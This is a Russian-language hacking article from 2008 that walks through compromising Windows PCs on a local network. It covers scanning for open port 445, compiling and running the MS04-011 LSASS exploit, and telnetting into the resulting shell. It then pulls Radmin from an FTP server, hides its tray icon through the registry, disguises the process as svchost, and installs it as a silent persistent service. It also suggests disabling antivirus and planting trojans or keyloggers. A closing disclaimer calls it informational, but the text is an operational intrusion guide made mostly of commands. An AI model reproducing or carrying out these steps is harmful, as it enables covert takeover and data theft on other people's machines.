Удалённый взлом ПК Readmin2.1

Среда, 04 Июля 2008 г. 22:30  Речь в этой стати будет об элементарной безопасности в локальной сети, многие даже не подозревают, что на первый взгляд маленькая и безобидная сетка с 10 компов может принести много неприятностей, по сети можно не только фильмы друг в друга копировать (если шара открыта ? ) и в контру играть, как думают 90% людей в сети, и игнорируют фаирволы, но и одолжить/утащить из-под носа например номер счёта и пароль кошелька в веб-маней, где все сбережения нашего геймера, который считает, что фаирвол тока ресурсы ПК жрёт и бес толку его ставить. Также здесь будет описан ход проникновения на «вражий» ПК, от сканирования порта до управления файлами, реестром и просмотра рабочего стола, если кто не знает что такое реестр делает «Пуск-Выполнить:REGEDIT» и изучает, или флаг в руки - читает далее. Злоумышленник - если залез в не свой комп и делает зло, но если залез в чужой компутер с благими намерениями, то мы уже умышленник =).
Берём любой сканер портов, суть написания сканера портов описана на сайте www.ehteam.jino-net.ru в разделе «Стати / Кодинг» автор Samael, и сканируем локалку на наличие у кого нибуть открытого 445 порта, через который и будем ломится в удалённую машину с помощью експлоита написанного хакером одиночкой houseofdabus, сам же екслоит называется HOD-ms04011-lsasrv-expl (идём к другу, спрашиваем линк на Рамблер, за пиво получаем заветную ссылку и ищем сорс этого експлоита). После удачных поисков найденный сорс компилим в Visual C++ (следует отключить антивирус, если он у вас стоит, иначе ехе-шник вам никогда не увидеть =)

Теперь заботимся о собственной анонимности, ставим прогу VMWare (кто не знает што это, объясню, суть работы – установка и запуск других, гостевых, операционных систем из активной в данный момент, таким образом можно сконфигурировать гостевую ОС для работы в локальной сети, причём она будет иметь свой ІР так, что Ваш основной нигде не светиться), но если вам не страшно что прейдет к вам дядя здоровенный, фейс чистить за якобы случайно форматнутый винт, не ставьте =)

Далее открываем эмуляцию доса, аж 2 окна, с одного будем нападать, с другого культурно телнетом конектиться на атакованный порт ;), если страшный Вам телнет, берём Пюти на этом же сайте.

Запускаем сплойт

Пуск – Выполнить: CMD
Окно DOSа: (допустим експлоит перейменували в expl, зачем такое длинное название нам, пока по находишь все буквы на клаве можно забить что делал, и положили в C:\Temp)

C:\Temp\Expl 0 123.456.789.666 666 (давим Enter) тут 0 значит что Ось в жертвы Windows XP Pro, 123.456.789.666 ір жертвы, 666 открываемый порт для телнета, если увидим висяче окно как будет дальше, то всё ОК =)(не стоит забывать, ip сложен из 4 байт, тоесть 0-255,0-255,0-255,0-255, в данном пример используется неправильный ip с личных соображений)

[] Target: IP: 123.456.789.666: OS Windows XP Professional …
[] Connecting to 123.456.789.666:445 … OK
[] Attacking … OK

как только это увидели лезем за телнетом, и конектимся на 123.456.789.666:666,
telnet 123.456.789.666 666
(в нашем примере это ip атакуемого ПК, порт в диапазоне 0-65500) и только если не стоит модный фаирвол или антивирус со встроенной защитой от разных интернет червей на атакуемой машине, ми имеем заветное %systemroot%\system32\ ну а дальше…. фантазии у нас очень много… Делаем что в голову взбредёт, дарим этому дяди коня троянского, или кейлогера самопального, а чё, пускай юзает. Фантазируем в разумных целях, мы же умишленники, не забили? Например, ставим втихаря через консоль Радмин, для установки надо всего 3 файла, r_server.exe, raddrv.exe, ArmDll.dll как туда закинуть эти файлы дело ваше, мона через фтп, в каждой локалке должен бить фтп, прячем эти файлики, чтобы никто не просек, в консоле удалённой тачки пишем:
ftp –A 123.456.789.101 (регистр имеет значение)
ключ –А значит, что соединение анонимное 123.456.789.101 – адрес нашего фтп сервера командами:

cd – зайти в каталог;
get – качать файл с сервера;
put – качать файл на сервер
управляем нашими файлами, заливаем и качаем через телнет подключение, предварительно включив binary, иначе файлы будут незапускаемыми, закачка файлов с фтп в директорию, где мы сейчас, пример: ( \incoming\music\dethmetall\I_hask_you_dear_lamer - это наша секретная директория, еще очен важный момент, на фтп должен быть доступ к одной из директорий для записи, если нет, ищем прогу и делаем свой фтп)

Заливаем файлы на сервер, открываем DOS-эмуль, далее:

ftp –A 123.456.789.101
cd incoming
cd music
cd dethmetall
cd I_xask_you_dear_lamer (теперь мы в секретной папке, сюда заливаем)
binary (копируем в бинарном (!) режиме)
put r_server.exe
put raddrv.dll
put AdmDll.dll (теперь файлы на фтп)
bye (выход с фтп)
Теперь заходим так же тока с телнета:
ftp –A 123.456.789.101
cd incoming
cd music
cd dethmetall
cd I_xask_you_dear_lamer (теперь мы в секретной папке)
ls (смотрим, есть ли наши файлы)
r_server.exe
raddrv.dll
AdmDll.dll (хорошо, все три файла присутствуют)
get r_server.exe
get raddrv.dll
get AdmDll.dll (файлы теперь на «вражеской машине»)
bye (покинуть фтп)
(при роботе с фтп регистр имеет значение, файлы копируются в директорию, с которой мы зашли на фтп, в данном случае \System32\) Далее работаем над скрытием Радмина от нашего пользователя, а вдруг он окажется умнее чем мы предположили (никогда не недооценивайте(!) ).

Работаем с реестром

Мы в телнет-соединении с атакованным, пишем: REG ADD HKLM\System\RAdmin\v2.0\Server\Parameters /v DisableTrayIcon /t REG_BINARY /d 01000000 (этот ключ скрывает заначек радмина в трее)

Теперь работаем с процессом, если запустить сервер радмина, то увидим нечто неприятное, там процесс r_server, зато svchost.exe примерно 5 процессов, не будет заметно если их станет 6-ть, для этого всего-то переименуем командой: REN r_server.exe svchost.exe.exe (замаскировали) Теперь в телнете же пишем: svchost.exe.exe /pass:lamer_nash /port:666 /install /save /silence (ключ pass - пароль для конекта ;
port – изменяем порт на свое усмотрение:
install – инсталлируем как сервис;
save – теперь эти параметры будут как по умолчатию;
silence – не вылазит на взломанной машине окошко «Параметры Сохранены»)
теперь запускаем сервер командою
svchost.exe.exe /start
ждём пока система переварит что от нее хотят, зависит что делает атакований пользователь, запускам со своёй машины Радмин-клиент radmin.exe и коннектимся на 123,456,789,666:666 Теперь у нас всегда будет в руках этот комп, мы же проинсталлировали Радмин как сервис, до тех пор пока этот ЮЗВЕРЬ не станет умнее, или не найдёт друга поумнее, или Винду за 10 зелёных долларов кто-то ему не переставит =). Позитивный момент: 10-13% имеют средства защиты и небыли взломаны, это уже радует, после прочтения этого материала стоит задуматься, надо фаирвол и антивирус или нет.

PS:

Это было проделано на Осях WinXP pro SP1/SP2, Win2k SP4, во время «теста» хорошо себя показал NortonAntivirus 2005 своею самостоятельностью блокировать 445 порт и орать на весь монитор «Типа вас атаковал ЫР 0,0,0,666 порт 445», фаирвол Оутпост2.0 тоже не пускает. Фаирвол и антивирус Касперского отстой, даже не пикнул, хотя и должен был блокировать, он хорош проверять кто твой комп сканирует и всё ;), при закачке троянов и т.п. через радмин Касперский предлагает удалить или нет, берем опцыю радмина «полный контроль» и быстренько нажымаем разришить, Нортон такие дела сразу блокирует. Во время проведения «мероприятия» было извлечено 15гб фильмов, выпито 4,5 литра пива, прослушано 2 концерта Рамштайн, 1 концерт КиШа, 2,2 часов Баха и Паганини… Информация на атакованных машинах не постраждал, юзверы не постраждали, автор стати тоже не постраждал (пока шо). Использование данного материала в злых намерениях на собственный страх и риск. Помним, УК РФ предусматривает, незаконное сканирование(!) одного(!) адреса, одного(!) порта грозит от 3 до 7 лет(!).

Данная статья предоставлена в ознакомительных целях с возможной опасностью. Автор ответственность за использование данного материала в незаконных целях не несет, проверку правдивости этой стати вы делаете на свой страх и риск.